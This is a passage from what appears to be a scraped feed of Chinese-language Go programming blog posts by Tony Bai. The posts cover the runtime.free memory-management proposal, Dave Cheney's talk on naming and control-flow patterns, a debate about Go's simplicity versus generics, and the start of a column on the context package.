性能生态的深远影响。\n背景：一场关于“手动”内存管理的漫长探索 Go 语言自诞生以来，其自动内存管理（GC）一直是核心特性之一。然而，对于性能极致敏感的场景——例如高吞吐量的网络服务——GC 的开销始终是开发者关注的焦点。为了赋予开发者更多控制力，Go 团队近年来开启了一系列关于“手动”或“半自动”内存管理的探索。\n第一站：arena 实验——功能强大但难以融合 arena 实验（#51317）是第一次大胆的尝试。它引入了一个 arena.Arena 类型，允许开发者将一组生命周期相同的对象分配到一个独立的内存区域中，并在不再需要时一次性、批量地释放整个区域。\n优点：arena 在特定场景下取得了显著的性能提升，因为它极大地减少了 GC 的扫描和回收工作。 问题：arena 的 API 侵入性太强。几乎所有需要利用 arena 的函数都必须额外接收一个 arena 参数，这会导致 API 的“病毒式”传播，并且与 Go 的隐式接口、逃逸分析等特性组合得非常糟糕。最终，由于其糟糕的“可组合性”，arena 提案被无限期搁置。 第二站：memory regions——更优雅的构想与巨大的挑战 吸取了 arena 的教训，Go 团队提出了一个更优雅、更符合 Go 哲学的构想：内存区域（Memory Regions）（#70257）。其核心思想是，通过一个 region.Do(func() { … }) 调用，将一个函数作用域内的所有内存分配隐式地绑定到一个临时的、与 goroutine 绑定的区域中。\n优点：API 对用户透明，无需修改现有函数的签名。更重要的是，它是内存安全的——如果区域内的某个对象“逃逸”到了区域之外，运行时会自动将其“拯救”出来，交还给全局 GC 管理，避免了 arena 可能导致的 use-after-free 崩溃。 问题：这个优雅设计的背后，是极其复杂的实现。它需要在开启区域的 goroutine 中启用一个特殊的、低开销的**写屏障（write barrier）**来动态追踪内存的逃逸。虽然理论上可行，但其实现复杂度和潜在的性能开销，使其成为一个长期且充满不确定性的研究课题。 最终的焦点：runtime.free——务实且精准的“外科手术” 在 arena 的侵入性和 memory regions 的复杂性之间，Go 团队似乎找到了一个更务实、更具工程可行性的平衡点——runtime.free 提案。\n它不再追求一个“要么全有，要么全无”的全局解决方案，而是提出了一种精准的、由编译器和运行时主导的“外科手术”。其核心思想是：与其让开发者手动管理整个内存区域，不如让更了解代码细节的编译器和底层标准库，在绝对安全的前提下，对那些生命周期短暂的、已知的堆分配进行点对点的、即时的释放和重用。\n这种方法解决了 arena 的可组合性问题（因为它是自动的或内部的），也绕开了 memory regions 的全局复杂性。它像一把锋利的手术刀，精确地切除了那些最明确、最高频的冗余内存分配，为解决 Go 性能优化中的“鸡与蛋”问题提供了全新的思路。\nruntime.free 的双重策略：编译器自动化与标准库手动优化 该提案并非要将 free 的能力直接暴露给普通开发者。相反，它采取了一种高度受控的、分两路进行的策略：\n1. 编译器自动化 (runtime.freetracked) 这是该提案最激动人心的部分。编译器将获得自动插入内存跟踪和释放代码的能力。\n工作流程：\n识别：当编译器遇到一个 make([]T, size)，它能证明这个 slice 的生命周期不会超过当前函数作用域，但因其大小未知（或超过 32 字节）而必须在堆上分配时，它会将这次分配标记为“可跟踪”。 跟踪：编译器会生成 makeslicetracked64 来分配内存，并将一个“跟踪对象”记录在当前函数栈上的一个特殊数组 freeablesArr 中。 释放：编译器会自动插入一个 defer freeTracked(\u0026amp;freeables) 调用。当函数退出时，这个 defer 会被执行，通知运行时可以安全地回收 freeablesArr 中记录的所有堆对象。 对开发者的影响：这意味着，未来开发者编写的许多看似会产生堆分配的函数，将被编译器自动重写为不产生 GC 压力的版本，而开发者对此完全无感。\n// 开发者编写的代码 func f1(size int) { s := make([]int64, size) // 堆分配 // ... use s } // 编译器可能重写为（概念上） func f1(size int) { var freeablesArr [1]trackedObj freeables := freeablesArr[:] defer runtime.freeTracked(\u0026amp;freeables) s := runtime.makeslicetracked64(..., \u0026amp;freeables) // 分配并跟踪 // ... use s } 2. 标准库手动优化 (runtime.freesized) 对于一些底层、性能关键的标准库组件，它们内部的内存管理逻辑比编译器能静态证明的要复杂。对于这些场景，提案提供了一个受限的、手动的 runtime.freesized 接口。\n目标场景：\nstrings.Builder / bytes.Buffer 的扩容：当内部 []byte 缓冲区需要扩容时，旧的、较小的缓冲区就可以被立即释放。 map 的扩容：当 map 增长或分裂时，旧的 backing array 也可以被回收。 slices.Collect：在构建最终 slice 过程中产生的中间 slice 也可以被释放。 惊人的性能提升：提案中的基准测试显示，通过在 strings.Builder 的扩容逻辑中手动调用 runtime.freesized，在有多次写入（即多次扩容）的场景下，其性能提升了 45% 到 55%，几乎是原来的两倍快！\n这证明，在正确的“热点”位置进行手动释放，可以带来巨大的性能收益。\n性能影响与权衡 引入手动内存管理，必然会带来对正常分配路径的性能影响。提案对此进行了细致的评估：\n对正常分配路径的影响：基准测试表明，即使开启了 runtimefree 实验，对于不涉及内存重用的普通分配路径，其性能影响在 -1.5% 到 +2.2% 之间，几何平均值几乎为零。这表明该功能在不使用时，几乎是“免费”的。 潜在的性能收益： 减少 GC CPU 使用：这是最直接的好处。 延长 GC 周期：更少的垃圾意味着 GC 运行频率更低，从而减少写屏障（write barrier）开启的时间，提升应用代码的执行速度。 更优的缓存局部性：被释放的内存可以立即被下一个分配重用，可能形成 LIFO（后进先出）式的内存访问模式，对 CPU 缓存极为友好。 减少 GC 停顿：更少的 GC 工作意味着更少的 STW（Stop-The-World）时间和 GC 辅助（assist）开销。 小结：Go 内存管理的“第三条路” runtime.free 提案并非要将 Go 变成 C++ 或 Rust，它无意将手动内存管理的复杂性抛给普通开发者。相反，它代表了 Go 在自动内存管理（GC）和静态内存管理（栈分配）之外，探索的**“第三条路”——由编译器和运行时主导的、高度受控的动态内存优化**。\n这一探索是务实且极具潜力的：\n务实：它从解决现实的性能瓶颈（如 strings.Builder）和优化僵局（逃逸分析）入手，目标明确。 安全：通过将能力严格限制在编译器和少数底层标准库中，它最大限度地避免了困扰其他语言的手动内存管理错误。 潜力巨大：一旦这个机制成熟，编译器可以将其应用到更多模式中（如循环内的 append），进一步减少 Go 程序的内存分配。 虽然这项工作仍处于实验阶段，但它清晰地指明了 Go 性能优化的下一个前沿方向。通过让编译器和运行时变得更加“智能”，在保证安全性的前提下，选择性地介入内存管理，Go 语言有望在保持其简洁易用性的同时，攀上新的性能高峰。\n参考资料 runtime, cmd/compile: add runtime.free, runtime.freetracked and GOEXPERIMENT=runtimefree – https://github.com/golang/go/issues/74299 a safe free of memory proposal, runtime.FreeMemory() – https://groups.google.com/g/golang-nuts/c/cmpiArv10f4 Directly freeing user memory to reduce GC work – https://go.googlesource.com/proposal/+/94843c2c941f64a86001e51ed775b918cc89b365/design/74299-runtime-free.md memory regions – https://github.com/golang/go/discussions/70257 proposal: arena: new package providing memory arenas – https://github.com/golang/go/issues/51317 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/18/go-runtime-free-proposal/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-runtime-free-proposal-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/18/go-runtime-free-proposal\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/18/go-runtime-free-proposal\"\u003ehttps://tonybai.com/2025/09/18/go-runtime-free-proposal\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 的垃圾收集器（GC）是其简单性和并发安全性的基石，但也一直是性能优化的焦点。近年来，Go 核心团队为了进一步降低 GC 开销，进行了一系列前沿探索：从备受争议的\u003ca href=\"https://github.com/golang/go/issues/51317\"\u003earena\u003c/a\u003e 实验，到更优雅但实现复杂的 \u003ca href=\"https://github.com/golang/go/discussions/70257\"\u003ememory regions构想\u003c/a\u003e，最终，焦点似乎汇聚在了一项更务实、更具潜力的提案上——runtime.free。这项编号为 \u003ca href=\"https://github.com/golang/go/issues/74299\"\u003e#74299\u003c/a\u003e 的实验性提案，正试图为 Go 的内存管理引入一个革命性的新维度：\u003cstrong\u003e允许编译器和部分标准库在特定安全场景下，绕过 GC，直接释放和重用内存\u003c/strong\u003e。其原型已在 strings.Builder 等场景中展现出高达 2 倍的性能提升。\u003c/p\u003e","title":"从arena、memory region到runtime.free：Go内存管理探索的务实转向"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/17/some-things-i-keep-repeating-about-go\n大家好，我是Tony Bai。\n在阔别公众视野数年后，Go 社区的传奇人物 Dave Cheney 终于重返 GopherCon Europe 的舞台，发表了一场备受瞩目的复出首谈(注：我印象中的回归首谈^_^)。这场题为《那些我反复强调的 Go 编程之事》的演讲，没有追逐时髦的技术热点，而是选择回归编程的本源，分享了他十五年 Go 编程生涯中，那些被反复实践、验证并沉淀下来的核心理念。\n本文将和大家一起深入解读这场演讲的三大核心支柱：命名、初始化与流程控制、以及辅助函数，并探讨为何这些看似简单的模式，却是编写可读、可维护、可测试 Go 代码的基石。\n引言：一位 Go “哲人”的回归与沉淀 对于许多 Go 开发者而言，Dave Cheney 的名字不仅代表着一位高产的贡献者，更像是一位编程哲学的布道者。在他“消失”的几年里，社区依旧在流传和实践着他提出的诸多模式。因此，当他重返 GopherCon Europe 2025的舞台时，整个社区都在好奇：他反复强调的那些 Go 编程理念，变了吗？\n答案既是“没有”，也是“更加深刻了”。\n正如他在开场时所言，这次演讲是他对自己为多家公司编写了超过十年 Go 代码的经验总结，是他对 Peter Bourgon 经典演讲《Ways to do things》的致敬，更是一次对他自己编程风格的提纯与升华。他所分享的，正是那些在无数次代码审查、项目重构和生产救火中，被他反复提及、反复实践的编程模式。这些“重复之事”，构成了他编程哲学的坚实内核。\n支柱一：命名 —— 程序的灵魂与第一印象 “我们应该执着地、狂热地关注程序中使用的每一个名字。” 演讲开篇，Dave 便直指编程的核心——命名。它涵盖了变量、常量、包、类型、方法和函数，是代码清晰度的源头。\n告别“短标识符”的圣战 对于 Go 社区经久不衰的“短标识符 vs. 长标识符”之争，Dave 引用了 Andrew Gerrand 的智慧之言，并将其作为命名第一法则：\n“最好的标识符，是能够描述其存在理由的最短的那个。”\n这意味着，名称的长度应与其生命周期和作用域成正比。一个只活几行的循环变量用 i 即可，而一个贯穿整个包的重要配置，则需要一个描述性的全名。\n重要的部分放前面 “你不是在写惊悚小说”，Dave 强调，标识符中最重要的、最独特的部分应该放在前面，而不是让读者猜到最后。特别是在同一作用域内有多个同类事物时，清晰的前缀至关重要。\n包内外视角的二元性与一致性约定 一个常见的问题是，包的作者和消费者对“好名字”的看法不同。在包内，request 可能是一个合理的变量名；但在包外，它变成了 completion.Request，显得冗长。\nDave 提出的解决方案是建立一致的缩写约定：\n全局约定：例如，req 永远指代 *http.Request。 包内约定：对于 completion.Request，在包内统一使用一个独特的缩写，如 creq，并将其用作接收器名、参数名和局部变量名。 // 外部调用 func DoSomething(creq *completion.Request) {} // 包内实现 func (creq *Request) Do() {} 这样，无论读者身处包内还是包外，creq 这个标识符的含义都是稳定且可预测的。\n让名字代替注释 Dave 引用了 Kate Gregory 在《Beautiful C++》中的观点：如果你能给一个标识符起一个足够好的名字，你可能就不需要为它写注释了。一个名字本身就应该能自我解释。\n他举了一个反例：一个名为 Validate 的函数，却没有返回 error。这本身就是一个“代码异味”（code smell），即便加上注释 // Validate validates the graph，这种“说了两遍”的重复也无法掩盖其名不副实的问题。经过检查，这个函数实际做的是“扁平化图节点”，一个更准确的名字 FlattenNodes 就能让注释变得多余。\n有时，最好的名字就是没有名字 对于那些生命周期极短、仅用于临时数据传递的类型，最好的名字可能就是没有名字。例如，在处理 HTTP 请求时，如果需要先将 JSON 解码到一个中间结构体再进行验证，完全可以使用匿名结构体。\nvar payload struct { Name string json:\u0026#34;name\u0026#34; // ... } if err := json.NewDecoder(r.Body).Decode(\u0026amp;payload); err != nil { // ... } 为这个只在此函数中存活一次的类型绞尽脑汁想一个名字（如 requestClient），是完全不必要的认知负担。\n支柱二：初始化与流程控制 —— 对 if-else 的厌恶 “if 很糟糕，else 更糟糕”，这是 Dave 对流程控制的核心观点。他认为，我们应该尽一切努力减少甚至消除代码中的 if-else 结构，尤其是那些用于延迟初始化的模式。\n假装 Go 拥有不可变性：一次且仅一次的初始化 一个常见的反模式是“声明-后初始化”：\nvar thing Thing if os.Getenv(\u0026#34;ENV\u0026#34;) == \u0026#34;prod\u0026#34; { thing = NewRealThing() } else { thing = NewMockThing() } 这不仅创造了一个 thing 未被初始化的“危险”中间状态，也增加了代码的认知负荷。Dave 的解决方案是：默认初始化，然后覆盖。\nthing := NewMockThing() // 默认初始化 if os.Getenv(\u0026#34;ENV\u0026#34;) == \u0026#34;prod\u0026#34; { thing = NewRealThing() // 在特定条件下覆盖 } 更进一步，将这个选择逻辑封装进一个辅助函数 NewThing() 中，这不仅让调用点的代码变得干净（thing := NewThing(isProd)），还将这个选择逻辑变成了一个可独立测试的单元。\n“保持靠左” (Keep to Left) 与 switch 的偏爱 这两个由 Matt Ryer 提出的模式，被 Dave 奉为圭臬：\n保持靠左：即使用“防卫语句”（Guard Clauses）或前置条件检查，在函数开头处理掉所有错误和异常情况并提前返回。这能让成功路径（Happy Path）始终贴近编辑器的左侧边缘，避免代码陷入层层嵌套的 if-else “深渊”。 用 switch 代替 if-else：对于选择逻辑，switch 语句通常比 if-else 链更清晰，因为它明确地表达了“基于某个值进行选择”的意图，并且更易于未来扩展（只需增加 case）。 main.run 模式：让 main 不再特殊 main 函数是每个 Go 程序的入口，但它也是最“奇怪”的函数：它不能返回 error，并且隐式地依赖于大量的全局状态（操作系统环境、标准输入输出、命令行参数等），这使得它极难测试。\nDave 强烈推荐 main.run 模式，其应用非常简单：\n创建一个新的、普通的 Go 函数，例如 run。\n将 main 函数中的所有核心逻辑都移入 run 函数。\n将所有之前隐式依赖的全局状态，作为参数显式地传递给 run 函数。\n让 run 函数返回一个 error。\nfunc main() { // main 函数只负责处理最终的错误并退出 if err := run(os.Stdout, os.Args); err != nil { fmt.Fprintf(os.Stderr, \u0026#34;error: %v\\n\u0026#34;, err) os.Exit(1) } } // run 函数现在是一个纯粹的、可测试的 Go 函数 func run(stdout io.Writer, args []string) error { // ... 你的所有核心逻辑 // ... 检查前置条件，构建状态 // ... 进入主循环 // ... 遇到任何问题，只需 return err return nil } 这个简单的重构，让程序的核心逻辑变得完全可测试，并且可以在测试中并行运行，极大地提升了开发和维护的效率。Dave 提到，这个模式曾帮助他的团队解决了一个棘手的问题：日志系统初始化失败，导致程序在尝试记录“日志初始化失败”这个错误时直接崩溃。\n支柱三：辅助函数 (Helpers) —— 语言的延伸与表达力的提升 贯穿整个演讲的，是 Dave 对使用辅助函数的强烈推崇。他认为，辅助函数是我们扩展项目“内部语言”最强大的工具。\n辅助函数的价值 为匿名模式命名：像 pointer.To[T] 这样的泛型函数，为“获取一个值的指针”这个 Go 语法不支持的、在处理 Protobuf 时反复出现的模式，赋予了一个清晰的名字，避免了为每个字段都声明一个临时变量的繁琐。 封装重复逻辑与避免否定：将 if err != nil \u0026amp;\u0026amp; !errors.Is(err, context.Canceled) 这样的过滤逻辑，封装进一个 ignoreCancel(err) 辅助函数中，让调用点的意图一目了然。同样，对于布尔检查，if req.StreamIsFalse() 显然比 if !req.Stream 更易于朗读和理解。 提升表达力 (Nicity)：创建像 to.JSON(w, data) 这样的辅助函数，可以像 Ruby on Rails 一样，用更符合领域语言的方式来编写代码。这不仅是语法糖，它还能隐藏一些必要的细节（如设置 Content-Type 头），确保一致性和正确性。 延迟求值：在测试中断言失败时，我们常常希望打印出失败时的详细上下文，例如完整的 HTTP 响应体。一个常见的错误是直接将 dumpBody(resp) 作为断言失败时的消息参数。这会导致 dumpBody 无论测试成功与否都会被调用，从而消耗掉响应体。通过将 dumpBody 封装进一个实现了 fmt.Stringer 接口的辅助类型中，我们可以实现延迟求值——只有在断言失败、需要打印消息时，其 String() 方法才会被调用。 内部包(internal)的妙用 Dave 建议，我们可以在项目内部的 internal 目录下创建像 to、is、list 这样的包，用来存放这些辅助函数和类型。这不仅能避免污染公共 API，还能为项目创建一套强大的、可复用的“内部标准库”。\n核心：尊重人类的认知极限——神奇数字 7±2 为什么这些看似微小的细节——命名、if-else、辅助函数——如此重要？Dave 引用了著名的认知心理学结论：人类的短期记忆（working memory）只能同时处理 7±2 个信息单元。\n这意味着，当我们的代码迫使读者同时记住太多事情时，他们的认知负荷就会超载，理解代码的难度就会急剧增加。\n一个 if status \u0026gt;= 400 的判断，需要大脑同时处理“大于”和“等于”两个概念。而 if status \u0026gt; 399 则只占用一个认知单元。 一个层层嵌套的 if-else 结构，每深一层，就需要读者在记忆中压入一个新的上下文。 一个需要大段注释才能解释的函数，说明其名字和签名本身就消耗了大量的认知资源。 所有这些模式——更短但精确的名字、消除 if-else、将逻辑封装进辅助函数——其最终目的都是一致的：减少读者在理解每一行代码时，需要装入短期记忆中的“东西”的数量。\n小结：语言影响思维 演讲的最后，Dave 引用了“萨丕尔-沃尔夫假说”来升华他的核心论点(注：笔者在GopherChina 2017年大会上的演讲《Go coding in go way》也引用了此观点，记得那年Dave也参加了Gopher China，就坐在我的前面^_^)：\n“你使用的语言，直接影响你思考问题的方式。”\n通过创建新的名词（类型）和动词（辅助函数），我们实际上是在扩展和塑造我们项目的内部语言。当这门内部语言变得更优雅、更精确、认知负荷更低时，我们对问题的思考也会变得更清晰、更深入。\n一个难以命名的函数，或一段需要大段注释来解释的逻辑，都是设计需要改进的强烈信号。它在“恳求你进行重构”。\n最终，我们编写的代码，不仅是给机器执行的指令，更是写给未来自己和同事的“信”。而 Dave Cheney 的这些建议，正是帮助我们写好这封“信”，使其清晰、优雅、易于理解的宝贵指南。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/17/some-things-i-keep-repeating-about-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/some-things-i-keep-repeating-about-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/17/some-things-i-keep-repeating-about-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/17/some-things-i-keep-repeating-about-go\"\u003ehttps://tonybai.com/2025/09/17/some-things-i-keep-repeating-about-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在阔别公众视野数年后，Go 社区的传奇人物 \u003cstrong\u003eDave Cheney\u003c/strong\u003e 终于重返 GopherCon Europe 的舞台，发表了一场备受瞩目的\u003cstrong\u003e复出首谈\u003c/strong\u003e(注：我印象中的回归首谈^_^)。这场题为《\u003ca href=\"https://www.youtube.com/watch?v=RZe8ojn7goo\"\u003e那些我反复强调的 Go 编程之事\u003c/a\u003e》的演讲，没有追逐时髦的技术热点，而是选择回归编程的本源，分享了他十五年 Go 编程生涯中，那些被反复实践、验证并沉淀下来的核心理念。\u003c/p\u003e","title":"Dave Cheney 复出首谈：那些我反复强调的Go编程模式"},{"content":"Go 语言的灵魂之问：当“简单”变得“复杂” - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nGo 语言的灵魂之问：当“简单”变得“复杂” 九月 16, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/09/16/go-language-when-simple-becomes-complex\n大家好，我是Tony Bai。\n“我没有时间写一封短信，所以我写了一封长信。” —— 马克·吐温\n这句名言的字面意思是写长信很容易，但把长信写成短信，就要删掉很多，这个过程是很难的。\n在Go社区近期的一场热议中，该名言被引用来概括讨论的核心议题：简单是复杂的，而把事情搞复杂，反而简单。\n这场讨论始于一个 Gopher 的真诚提问：在重温了 Rob Pike 2015 年关于“Simplicity is Complicated”的著名演讲后，他感到困惑。Go 语言在近些年增加了不少新特性，尤其是泛型，这是否违背了当初的简约哲学？语言真的因此变得更好了吗？\n这个问题，如同投入平静湖面的一颗石子，激起了层层涟漪。它既是对 Go 语言演进方向的拷问，更是对“简单”这一核心价值观的再审视。\n但要厘清这场复杂的辩论，我们不能简单地给出“是”或“否”的答案。相反，通过挖掘和解读社区的集体智慧，我们可以发现，Go 语言的演进其实遵循着三条深刻的内在法则。\n本文将为大家曾现这三大法则，以期揭示 Go 语言在保持其灵魂的同时，如何拥抱变化。\n法则一：演进，是语言保持生命力的唯一途径 在讨论中，一个压倒性的共识是：语言必须演进以保持其生命力。 这也和2023年末Go前任技术负责人Russ Cox演讲中的观点不谋而合。\n一位资深开发者引用了 Pascal 的例子：一门曾经辉煌的语言，因其未能跟上时代的需求而逐渐式微。与之相对，C 语言虽然演进缓慢，但其核心结构的简单性使其成为构建其他语言（如 C++）的基石，从而获得了永生。\nGo 团队显然深谙此道。无论是备受争议的 go.mod 还是千呼万唤始出来的泛型，社区普遍认为，这些都不是轻率的“功能堆砌” (feature creep)，而是 Go 团队在经过漫长、缓慢且深思熟虑的辩论后，对真实世界需求的审慎回应。\n“不演进的语言，将面临失去其存在意义的风险。”\n这种演进并非盲目追逐潮流，而是为了解决社区在实践中遇到的真实痛点。Go 的选择，不是停滞不前，而是以自己独有的、极其克制的节奏向前迈进。\n法则二：复杂性守恒——从“脑海”到“工具”的迁移 “复杂性永远不会消失，它只是在迁移。” 一位来自 Perl 世界的开发者分享了这一深刻洞见。\n在 Go 的早期，语言的极度简约，意味着许多复杂性被转移到了开发者身上。我们不得不编写大量的 interface{} 代码，或者依赖 go generate 和各种工具来处理本可以由语言特性解决的问题。这符合 Go 早期的理念：“将更多的负担交给工具，将更少的负担留给开发者的大脑。”\n然而，当新特性（如泛型）被引入时，这种平衡发生了微妙的变化。语言本身承担了更多的复杂性，以期为开发者在特定场景下提供更简洁、更安全更强大的表达方式。\n但这把“双刃剑”也引起了社区的警惕：当语言特性变得过于丰富时，复杂性是否会从工具端，重新迁移回开发者的大脑？我们会不会像某些语言的社区那样，因为不同的特性偏好而分裂成不同的“程序员种姓”？\nGo 的应对之策是：在能力与复杂性之间寻求一个极其苛刻的平衡点。\n以泛型为例，Go 的实现远非“完全体”。一个被反复提及的限制是**“Go 仍然不支持泛型方法”**。\n// 我们可以写一个泛型函数 func GenericFunc[T any](t Thing, arg T) {} // 但我们不能写一个泛型方法（方法自身拥有独立的类型参数） // func (t Thing) GenericFunc[T any](arg T) {} // 编译错误！ 这个看似“残缺”的设计，或许恰恰是 Go 简约哲学的体现？它提供了社区最急需的 80% 的泛型能力，同时又刻意避免了因引入更复杂特性（如高级类型理论）而带来的认知过载。这是 Go 在演进道路上，小心翼翼守护其“简单”灵魂的明证。\n法则三：稳定性压倒一切——Go 的“向后兼容”承诺 在讨论语言演进时，Python2到Python3 的“大分裂”和 Ruby 小版本更新带来的破坏性变更，被作为反面教材反复提及。这些案例凸显了 Go 最宝贵的资产之一：坚如磐石的向后兼容性。\n一位开发者感慨道：“Go 是少数几种，我可以拿起 10 年前的代码，几乎不做修改就能成功编译并运行的语言。”\n这种稳定性，让 Go 开发者可以放心地升级工具链，享受新版本带来的性能提升和安全修复，而无需担心现有代码库会“一夜之间”崩溃。go.mod 的引入，更是将这种稳定性从语言层面扩展到了整个依赖生态。\n因此，即使 Go 增加了新特性，其核心体验依然是连贯和可预测的。开发者可以选择性地拥抱新功能，也可以在需要时，继续使用他们熟悉的那套“旧”的、但依然行之有效的方法。\n小结：动态平衡中的简约 回到最初的问题：Go 还是那个推崇“简单”的语言吗？\n社区的答案是：是，但“简单”的内涵已经演变。\nGo 的简约，不再是特性列表的长度，而是一种动态的平衡。它是在“停滞不前的风险”与“功能过载的混乱”之间走钢丝；是在“将复杂性留给工具”与“用语言特性赋能开发者”之间做权衡；是在“提供新能力”与“保护向后兼容”之间做取舍。\n这场讨论本身，比任何单一的答案都更有价值。它表明 Go 社区拥有一批充满激情、对语言的哲学核心保持高度警惕的开发者。正是这种持续的、健康的“紧张感”，确保了 Go 在未来的演进中，无论增加什么，都不会忘记它最初为何而出发。\n简约依然是 Go 的北极星，只是抵达它的航路，变得比以往任何时候都更加深思熟虑。\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/16/go-language-when-simple-becomes-complex/","summary":"\u003ch1 id=\"go-语言的灵魂之问当简单变得复杂---tony-bai\"\u003eGo 语言的灵魂之问：当“简单”变得“复杂” - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"Go 语言的灵魂之问：当“简单”变得“复杂”"},{"content":"context：Go 语言的“天问”，你真的懂了吗？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\ncontext：Go 语言的“天问”，你真的懂了吗？ 九月 15, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/09/15/go-context-column\n大家好，我是Tony Bai。\n作为一个 Gopher，如果说 Go 语言里哪个标准库最能引发“灵魂拷问”，我想 context 说第二，没人敢说第一。\n我们每天都在和它打交道，不是吗？\n打开任何一个 Go 项目，从 Gin 的 c.Request.Context()，到 gRPC 的方法签名，再到数据库的 QueryContext，context.Context 这个参数就像一个“幽灵”，无处不在，却又常常让人捉摸不透。\n它总是雷打不动地占据着函数签名的第一个位置，仿佛在宣告自己的“正宫”地位。我们依葫芦画瓢地将它一层层往下传，似乎只要照做，程序就能安然无恙。\n但你是否也曾在某个深夜，对着一段因为 context deadline exceeded 而崩溃的代码，陷入沉思：\n这个 ctx 到底是个什么“东西”？为什么它能“凭空”知道超时了？ context.Background() 和 context.TODO()，我到底该用哪个？感觉好像都能跑… 那个 WithValue，用起来真方便！我是不是可以把所有参数都塞进去，告别冗长的函数签名？（危险的想法！） 为什么我的 goroutine 明明收到了取消信号，却还在后台疯狂吃内存，最后 OOM 了？ 这些问题，就像一个个幽灵，盘旋在许多 Gopher 的脑海里。我们似乎懂 context，但又好像只懂它的皮毛。这种“半懂不懂”的状态，在平时或许相安无事，但在复杂的生产环境中，往往就是那个导致服务雪崩的“致命稻草”。\n说实话，我曾经也为此挣扎了很久。\n我读过官方文档，写过零散的学习体会博客，但总感觉知识是碎片化的。直到我下定决心，从 context 诞生的“前世”开始，一路追溯到它的源码“心脏”，再回到真实世界的“最佳实践”和“天坑”现场，我才终于将这些碎片拼成了一幅完整的、清晰的地图。\n那一刻，我豁然开朗。\n原来 context 的设计如此精妙，它用最简单的接口，解决的是 Go 并发编程中最核心的两个难题：生命周期控制和数据传递。它就是 Go 